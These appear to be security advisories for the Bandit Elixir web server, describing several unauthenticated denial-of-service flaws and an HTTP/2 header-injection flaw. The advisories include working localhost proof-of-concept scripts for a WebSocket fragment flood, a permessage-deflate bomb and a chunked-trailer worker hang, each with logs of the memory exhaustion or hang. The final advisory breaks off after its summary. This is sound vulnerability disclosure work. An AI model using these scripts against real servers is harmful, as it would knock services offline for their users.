The exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either — the accumulation happens before WebSock.handle_in/2 is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit.

Script and Logs

# Bandit WebSocket fragmented-message accumulation PoC.
#
# lib/bandit/websocket/connection.ex:80-95 appends every incoming
# Continuation{fin: false} frame's payload to connection.fragment_frame.data
# as iodata, with no cumulative cap. `max_frame_size` only bounds *each*
# frame; a peer that streams an unbounded number of max-sized continuations
# without ever setting fin=1 grows the iolist linearly in BEAM memory until
# the OS kills the process. The eventual IO.iodata_to_binary/1 in the
# fin=true branch also momentarily doubles peak memory.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket,
# sends one text frame with fin=0 followed by a continuous stream of
# continuation frames (also fin=0), and samples BEAM memory while doing so.
# A correct server would close the connection with 1009 once a configured
# max-message-size is exceeded; the buggy server keeps growing.
#
# Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, [])
    |> Plug.Conn.halt()
  end
end

defmodule FragmentFlood do
  @port 4321
  @fragment_payload_bytes 1 * 1024 * 1024
  @fragment_count 4096
  @sample_every_ms 250

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    sampler_pid = spawn_link(&sample_memory_loop/0)

    payload_chunk = :binary.copy(<<0x41>>, @fragment_payload_bytes)
    starting_text_frame = build_frame(0x1, _fin = false, payload_chunk)
    continuation_frame = build_frame(0x0, _fin = false, payload_chunk)

    log("Sending start text frame (fin=0, #{@fragment_payload_bytes} bytes).")
    :ok = :gen_tcp.send(sock, starting_text_frame)

    log("Streaming #{@fragment_count} continuation frames (fin=0, #{@fragment_payload_bytes} bytes each).")
    Enum.each(1..@fragment_count, fn index ->
      case :gen_tcp.send(sock, continuation_frame) do
        :ok ->
          if rem(index, 64) == 0 do
            log("Sent #{index}/#{@fragment_count} continuations (~#{div(index * @fragment_payload_bytes, 1024 * 1024)} MiB accumulated).")
          end

        {:error, reason} ->
          log("Server closed connection after #{index} continuations: #{inspect(reason)}")
          throw(:server_closed)
      end
    end)

    log("Finished sending. Never sent fin=1 — server should still be holding the iolist.")
    Process.sleep(2_000)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  catch
    :server_closed -> log("Server appears to enforce a cap — bug not present or mitigated.")
  end

  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "101 Switching Protocols"), do: raise("WebSocket handshake failed:\n#{response}")
    log("Handshake complete.")
    sock
  end

  # Build a single masked WebSocket frame. fin controls bit 0 of byte 0;
  # opcode is the low nibble. Client→server frames must be masked per RFC 6455.
  defp build_frame(opcode, fin, payload) do
    fin_bit = if fin, do: 1, else: 0
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<fin_bit::1, 0::3, opcode::4, length_bytes::binary, mask::binary, masked_payload::binary>>
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(@sample_every_ms)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FragmentFlood.run()

13:04:30.778 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[11:04:30.812] Handshake complete.
[11:04:30.815] [mem] BEAM total = 49 MiB
[11:04:30.823] Sending start text frame (fin=0, 1048576 bytes).
[11:04:30.824] Streaming 4096 continuation frames (fin=0, 1048576 bytes each).
[11:04:30.940] Sent 64/4096 continuations (~64 MiB accumulated).
[11:04:31.055] Sent 128/4096 continuations (~128 MiB accumulated).
[11:04:31.065] [mem] BEAM total = 185 MiB
[11:04:31.169] Sent 192/4096 continuations (~192 MiB accumulated).
[11:04:31.285] Sent 256/4096 continuations (~256 MiB accumulated).
[11:04:31.316] [mem] BEAM total = 322 MiB
[11:04:31.404] Sent 320/4096 continuations (~320 MiB accumulated).
[11:04:31.518] Sent 384/4096 continuations (~384 MiB accumulated).
[11:04:31.567] [mem] BEAM total = 463 MiB
[11:04:31.633] Sent 448/4096 continuations (~448 MiB accumulated).
[11:04:31.747] Sent 512/4096 continuations (~512 MiB accumulated).
[11:04:31.818] [mem] BEAM total = 602 MiB
[11:04:31.866] Sent 576/4096 continuations (~576 MiB accumulated).
[11:04:31.979] Sent 640/4096 continuations (~640 MiB accumulated).
[11:04:32.069] [mem] BEAM total = 743 MiB
[11:04:32.091] Sent 704/4096 continuations (~704 MiB accumulated).
[11:04:32.199] Sent 768/4096 continuations (~768 MiB accumulated).
[11:04:32.306] Sent 832/4096 continuations (~832 MiB accumulated).
[11:04:32.320] [mem] BEAM total = 887 MiB
[11:04:32.420] Sent 896/4096 continuations (~896 MiB accumulated).
[11:04:32.530] Sent 960/4096 continuations (~960 MiB accumulated).
[11:04:32.571] [mem] BEAM total = 1034 MiB
[11:04:32.640] Sent 1024/4096 continuations (~1024 MiB accumulated).
[11:04:32.751] Sent 1088/4096 continuations (~1088 MiB accumulated).
[11:04:32.822] [mem] BEAM total = 1179 MiB
[11:04:32.866] Sent 1152/4096 continuations (~1152 MiB accumulated).
[11:04:32.977] Sent 1216/4096 continuations (~1216 MiB accumulated).
[11:04:33.073] [mem] BEAM total = 1323 MiB
[11:04:33.087] Sent 1280/4096 continuations (~1280 MiB accumulated).
[11:04:33.200] Sent 1344/4096 continuations (~1344 MiB accumulated).
[11:04:33.309] Sent 1408/4096 continuations (~1408 MiB accumulated).
[11:04:33.324] [mem] BEAM total = 1466 MiB
[11:04:33.421] Sent 1472/4096 continuations (~1472 MiB accumulated).
[11:04:33.533] Sent 1536/4096 continuations (~1536 MiB accumulated).
[11:04:33.575] [mem] BEAM total = 1608 MiB
[11:04:33.643] Sent 1600/4096 continuations (~1600 MiB accumulated).
[11:04:33.751] Sent 1664/4096 continuations (~1664 MiB accumulated).
[11:04:33.826] [mem] BEAM total = 1758 MiB
[11:04:33.860] Sent 1728/4096 continuations (~1728 MiB accumulated).
[11:04:33.972] Sent 1792/4096 continuations (~1792 MiB accumulated).
[11:04:34.077] [mem] BEAM total = 1901 MiB
[11:04:34.083] Sent 1856/4096 continuations (~1856 MiB accumulated).
[11:04:34.192] Sent 1920/4096 continuations (~1920 MiB accumulated).
[11:04:34.305] Sent 1984/4096 continuations (~1984 MiB accumulated).
[11:04:34.328] [mem] BEAM total = 2048 MiB
[11:04:34.417] Sent 2048/4096 continuations (~2048 MiB accumulated).
[11:04:34.528] Sent 2112/4096 continuations (~2112 MiB accumulated).
[11:04:34.579] [mem] BEAM total = 2191 MiB
[11:04:34.644] Sent 2176/4096 continuations (~2176 MiB accumulated).
[11:04:34.751] Sent 2240/4096 continuations (~2240 MiB accumulated).
[11:04:34.830] [mem] BEAM total = 2342 MiB
[11:04:34.863] Sent 2304/4096 continuations (~2304 MiB accumulated).
[11:04:34.974] Sent 2368/4096 continuations (~2368 MiB accumulated).
[11:04:35.081] [mem] BEAM total = 2480 MiB
[11:04:35.088] Sent 2432/4096 continuations (~2432 MiB accumulated).
[11:04:35.202] Sent 2496/4096 continuations (~2496 MiB accumulated).
[11:04:35.316] Sent 2560/4096 continuations (~2560 MiB accumulated).
[11:04:35.332] [mem] BEAM total = 2620 MiB
[11:04:35.430] Sent 2624/4096 continuations (~2624 MiB accumulated).
[11:04:35.545] Sent 2688/4096 continuations (~2688 MiB accumulated).
[11:04:35.583] [mem] BEAM total = 2760 MiB
[11:04:35.660] Sent 2752/4096 continuations (~2752 MiB accumulated).
[11:04:35.776] Sent 2816/4096 continuations (~2816 MiB accumulated).
[11:04:35.834] [mem] BEAM total = 2903 MiB
[11:04:35.890] Sent 2880/4096 continuations (~2880 MiB accumulated).
[11:04:36.000] Sent 2944/4096 continuations (~2944 MiB accumulated).
[11:04:36.085] [mem] BEAM total = 3045 MiB
[11:04:36.110] Sent 3008/4096 continuations (~3008 MiB accumulated).
[11:04:36.225] Sent 3072/4096 continuations (~3072 MiB accumulated).
[11:04:36.336] [mem] BEAM total = 3184 MiB
[11:04:36.343] Sent 3136/4096 continuations (~3136 MiB accumulated).
[11:04:36.462] Sent 3200/4096 continuations (~3200 MiB accumulated).
[11:04:36.580] Sent 3264/4096 continuations (~3264 MiB accumulated).
[11:04:36.587] [mem] BEAM total = 3332 MiB
[11:04:36.691] Sent 3328/4096 continuations (~3328 MiB accumulated).
[11:04:36.806] Sent 3392/4096 continuations (~3392 MiB accumulated).
[11:04:36.838] [mem] BEAM total = 3463 MiB
[11:04:36.927] Sent 3456/4096 continuations (~3456 MiB accumulated).
[11:04:37.041] Sent 3520/4096 continuations (~3520 MiB accumulated).
[11:04:37.089] [mem] BEAM total = 3610 MiB
[11:04:37.157] Sent 3584/4096 continuations (~3584 MiB accumulated).
[11:04:37.273] Sent 3648/4096 continuations (~3648 MiB accumulated).
[11:04:37.340] [mem] BEAM total = 3735 MiB
[11:04:37.389] Sent 3712/4096 continuations (~3712 MiB accumulated).
[11:04:37.504] Sent 3776/4096 continuations (~3776 MiB accumulated).
[11:04:37.591] [mem] BEAM total = 3878 MiB
[11:04:37.629] Sent 3840/4096 continuations (~3840 MiB accumulated).
[11:04:37.745] Sent 3904/4096 continuations (~3904 MiB accumulated).
[11:04:37.842] [mem] BEAM total = 4012 MiB
[11:04:37.862] Sent 3968/4096 continuations (~3968 MiB accumulated).
[11:04:37.982] Sent 4032/4096 continuations (~4032 MiB accumulated).
[11:04:38.093] [mem] BEAM total = 4142 MiB
[11:04:38.105] Sent 4096/4096 continuations (~4096 MiB accumulated).
[11:04:38.105] Finished sending. Never sent fin=1 — server should still be holding the iolist.
[11:04:38.344] [mem] BEAM total = 4149 MiB
[11:04:38.596] [mem] BEAM total = 4149 MiB
[11:04:38.847] [mem] BEAM total = 4149 MiB
[11:04:39.098] [mem] BEAM total = 4149 MiB
[11:04:39.349] [mem] BEAM total = 4149 MiB
[11:04:39.600] [mem] BEAM total = 4149 MiB
[11:04:39.851] [mem] BEAM total = 4149 MiB
[11:04:40.102] [mem] BEAM total = 4149 MiB
[11:04:40.106] Done.

Summary

When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.

Details

In lib/bandit/websocket/permessage_deflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodata_to_binary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.

websocket_options.max_frame_size only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.

The bug is gated by two server-side flags being true at the same time:

• Bandit's global websocket_options.compress (defaults to true per bandit.ex:198-201).
• The per-upgrade connection_opts.compress passed to WebSockAdapter.upgrade/4 (defaults to false per websock_adapter.ex:42-43; Phoenix's default is also false per phoenix/lib/phoenix/transports/websocket.ex:33).

Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).

Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.

PoC

A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir ws_permessage_deflate_bomb.exs.

Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):

• Frame on the wire: ~6 MiB.
• BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by IO.iodata_to_binary/1), then settled at ~6 GiB until the connection process was GC'd.
• Tuning @target_decompressed_bytes upward, or opening N parallel connections, OOM-kills the BEAM outright.

A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented max_frame_size default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.

Impact

Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.

Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.

# Bandit WebSocket permessage-deflate bomb PoC.
#
# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2
# with no output-size cap. A small (~4 MiB) compressed frame inflates to
# multiple GiB on the BEAM heap before any application code sees it.
#
# Note: in the default setup something upstream caps wire-side frames at
# ~8 MiB even though Bandit's documented max_frame_size default is 0
# (unlimited). The bug is reachable below that cap regardless.
#
# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)
    |> Plug.Conn.halt()
  end
end

defmodule Bomb do
  @port 4321
  # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).
  @target_decompressed_bytes 6 * 1024 * 1024 * 1024
  @plaintext_chunk_bytes 10 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    deflate_payload = build_deflate_bomb()
    frame = compressed_text_frame(deflate_payload)

    sampler_pid = spawn_link(&sample_memory_loop/0)

    log("Sending #{byte_size(frame)}-byte compressed frame…")
    :ok = :gen_tcp.send(sock, frame)
    handle_recv(sock)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  end

  # Open a TCP connection and complete the WebSocket handshake with
  # permessage-deflate. Raises if the server doesn't negotiate it.
  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      Sec-WebSocket-Extensions: permessage-deflate\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}")
    log("Handshake complete.")
    sock
  end

  # Stream-deflate @target_decompressed_bytes worth of zeros so the client
  # never holds the full plaintext at once. RFC 7692 uses raw deflate
  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which
  # we strip per the spec.
  defp build_deflate_bomb do
    chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)
    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)
    log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…")

    zstream = :zlib.open()
    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)
    deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)
    final_flush = :zlib.deflate(zstream, <<>>, :sync)
    :zlib.close(zstream)

    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])
    trailer_size = byte_size(deflated) - 4
    <<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated

    log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).")
    payload
  end

  # Wrap payload in a single masked WebSocket text frame with RSV1 set
  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).
  defp compressed_text_frame(payload) do
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>
  end

  # EchoSocket.handle_in/2 doesn't reply, so recv times out after the
  # observation window. That's enough to watch the BEAM heap spike.
  defp handle_recv(sock) do
    case :gen_tcp.recv(sock, 0, 5_000) do
      {:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->
        log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}")

      {:ok, bytes} ->
        log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")

      {:error, :timeout} ->
        log("recv timed out (server held the inflated payload silently).")

      {:error, reason} ->
        log("Connection closed: #{inspect(reason)}")
    end
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(250)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

Bomb.run()

Logs

10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[08:15:24.269] Handshake complete.
[08:15:24.321] Deflating 6144 MiB plaintext…
[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).
[08:15:37.581] Sending 6257689-byte compressed frame…
[08:15:37.582] [mem] BEAM total = 76 MiB
[08:15:37.834] [mem] BEAM total = 759 MiB
[08:15:38.087] [mem] BEAM total = 1480 MiB
[08:15:38.338] [mem] BEAM total = 2214 MiB
[08:15:38.589] [mem] BEAM total = 2724 MiB
[08:15:38.840] [mem] BEAM total = 3410 MiB
[08:15:39.091] [mem] BEAM total = 3877 MiB
[08:15:39.342] [mem] BEAM total = 4268 MiB
[08:15:39.593] [mem] BEAM total = 4815 MiB
[08:15:39.845] [mem] BEAM total = 5270 MiB
[08:15:40.096] [mem] BEAM total = 5766 MiB
[08:15:40.347] [mem] BEAM total = 12451 MiB
[08:15:40.598] [mem] BEAM total = 12452 MiB
[08:15:40.850] [mem] BEAM total = 12452 MiB
[08:15:41.101] [mem] BEAM total = 12452 MiB
[08:15:41.353] [mem] BEAM total = 12452 MiB
[08:15:41.606] [mem] BEAM total = 12451 MiB
[08:15:41.856] [mem] BEAM total = 6229 MiB
[08:15:42.107] [mem] BEAM total = 6229 MiB
[08:15:42.358] [mem] BEAM total = 6229 MiB
[08:15:42.582] recv timed out (server held the inflated payload silently).
[08:15:42.584] Done.

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a Transfer-Encoding: chunked request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.

The vulnerability was likely introduced with this commit on Dec 6, 2024: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217

Details

The bug is in lib/bandit/http1/socket.ex in do_read_chunked_data!/5 (around lines 242–274). The terminator clause matches only ["0", "\r\n" <> rest] — i.e. the last-chunk line 0\r\n followed immediately by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between 0\r\n and the final \r\n, e.g. a body ending 0\r\nX-T: v\r\n\r\n.

When trailers are present, :binary.split/2 returns ["0", "X-T: v\r\n\r\n"]. The terminator clause does not match. The inner <<_::binary-size(0), ?\r, ?\n, _::binary>> pattern also does not match because rest starts with X. Execution falls into the _ -> arm, which computes to_read = 0 - byte_size(rest) (a negative number) and calls read_available!/2 on the socket. On timeout, read_available!/2 returns <<>>, leaving the buffer unchanged. do_read_chunked_data!/5 then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.

The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and read_available! is repeatedly called with no progress.

The gap is acknowledged in the source itself — the comment on line 245 reads: "We should be reading (and ignoring) trailers here".

Suggested fix: after the 0 size line, consume bytes up to \r\n\r\n (parsing/discarding trailers via :erlang.decode_packet(:httph_bin, …)) before returning. Additionally, ensure every recursive arm makes forward progress — when read_available!/2 returns <<>>, raise request_error!(:request_timeout) rather than re-entering with an unchanged buffer.

PoC

A self-contained reproduction script is available below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:

• one 5-byte chunk "hello"
• the last-chunk marker 0\r\n
• one trailer field X-Trailer: 1\r\n
• the terminating \r\n

The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, :gen_tcp.recv/3 times out after 10 seconds because the worker is stuck spinning in do_read_chunked_data!/5.

Steps to reproduce:

1. elixir script.exs
2. Observe the TIMEOUT — worker is pinned in do_read_chunked_data!/5 log line.
3. Each additional concurrent client sending the same request consumes one more worker process.

Impact

Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.

Script and Logs

# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.
#
# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates
# only when the last-chunk line `0\r\n` is followed *immediately* by the
# empty trailer line `\r\n`. RFC 9112 §7.1.2 allows trailer fields between
# them (e.g. `0\r\nX-T: v\r\n\r\n`). With trailers present, none of the
# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`
# (negative), calls read_available!/2, gets <<>> on timeout, and recurses
# with the same buffer forever — pinning the worker for the connection's
# lifetime. The line 245 comment ("We should be reading (and ignoring)
# trailers here") acknowledges the gap.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST
# whose body ends with a single trailer field, and waits for a response.
# A correct server replies in milliseconds; the buggy decoder never does.
#
# Run: elixir script.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule EchoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    {:ok, body, conn} = Plug.Conn.read_body(conn)
    Plug.Conn.send_resp(conn, 200, "got #{byte_size(body)} bytes")
  end
end

defmodule TrailerHang do
  @port 4321
  @recv_timeout_ms 10_000

  def run do
    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    request = build_chunked_request_with_trailer()
    log("Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.")
    :ok = :gen_tcp.send(sock, request)

    log("Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…")
    started_at = System.monotonic_time(:millisecond)

    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do
      {:ok, response} ->
        elapsed = System.monotonic_time(:millisecond) - started_at
        log("Got response after #{elapsed}ms — server handles trailers correctly:")
        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))

      {:error, :timeout} ->
        log("TIMEOUT — worker is pinned in do_read_chunked_data!/5.")
        log("Each concurrent client sending this shape consumes one Bandit worker.")

      {:error, reason} ->
        log("Connection error: #{inspect(reason)}")
    end

    :gen_tcp.close(sock)
  end

  # Body: one 5-byte chunk "hello", last-chunk marker `0\r\n`, one trailer
  # `X-Trailer: 1\r\n`, terminating `\r\n`. RFC-conformant; many proxies
  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing
  # responses or requests.
  defp build_chunked_request_with_trailer do
    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1:#{@port}\r\n" <>
      "Transfer-Encoding: chunked\r\n" <>
      "Trailer: X-Trailer\r\n" <>
      "Content-Type: application/octet-stream\r\n" <>
      "\r\n" <>
      "5\r\nhello\r\n" <>
      "0\r\n" <>
      "X-Trailer: 1\r\n" <>
      "\r\n"
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

TrailerHang.run()

12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:36:54.275] Sending chunked POST whose body ends with `0\r\nX-Trailer: 1\r\n\r\n`.
[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)…
[10:37:04.276] TIMEOUT — worker is pinned in do_read_chunked_data!/5.
[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.

Summary

Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.

Details

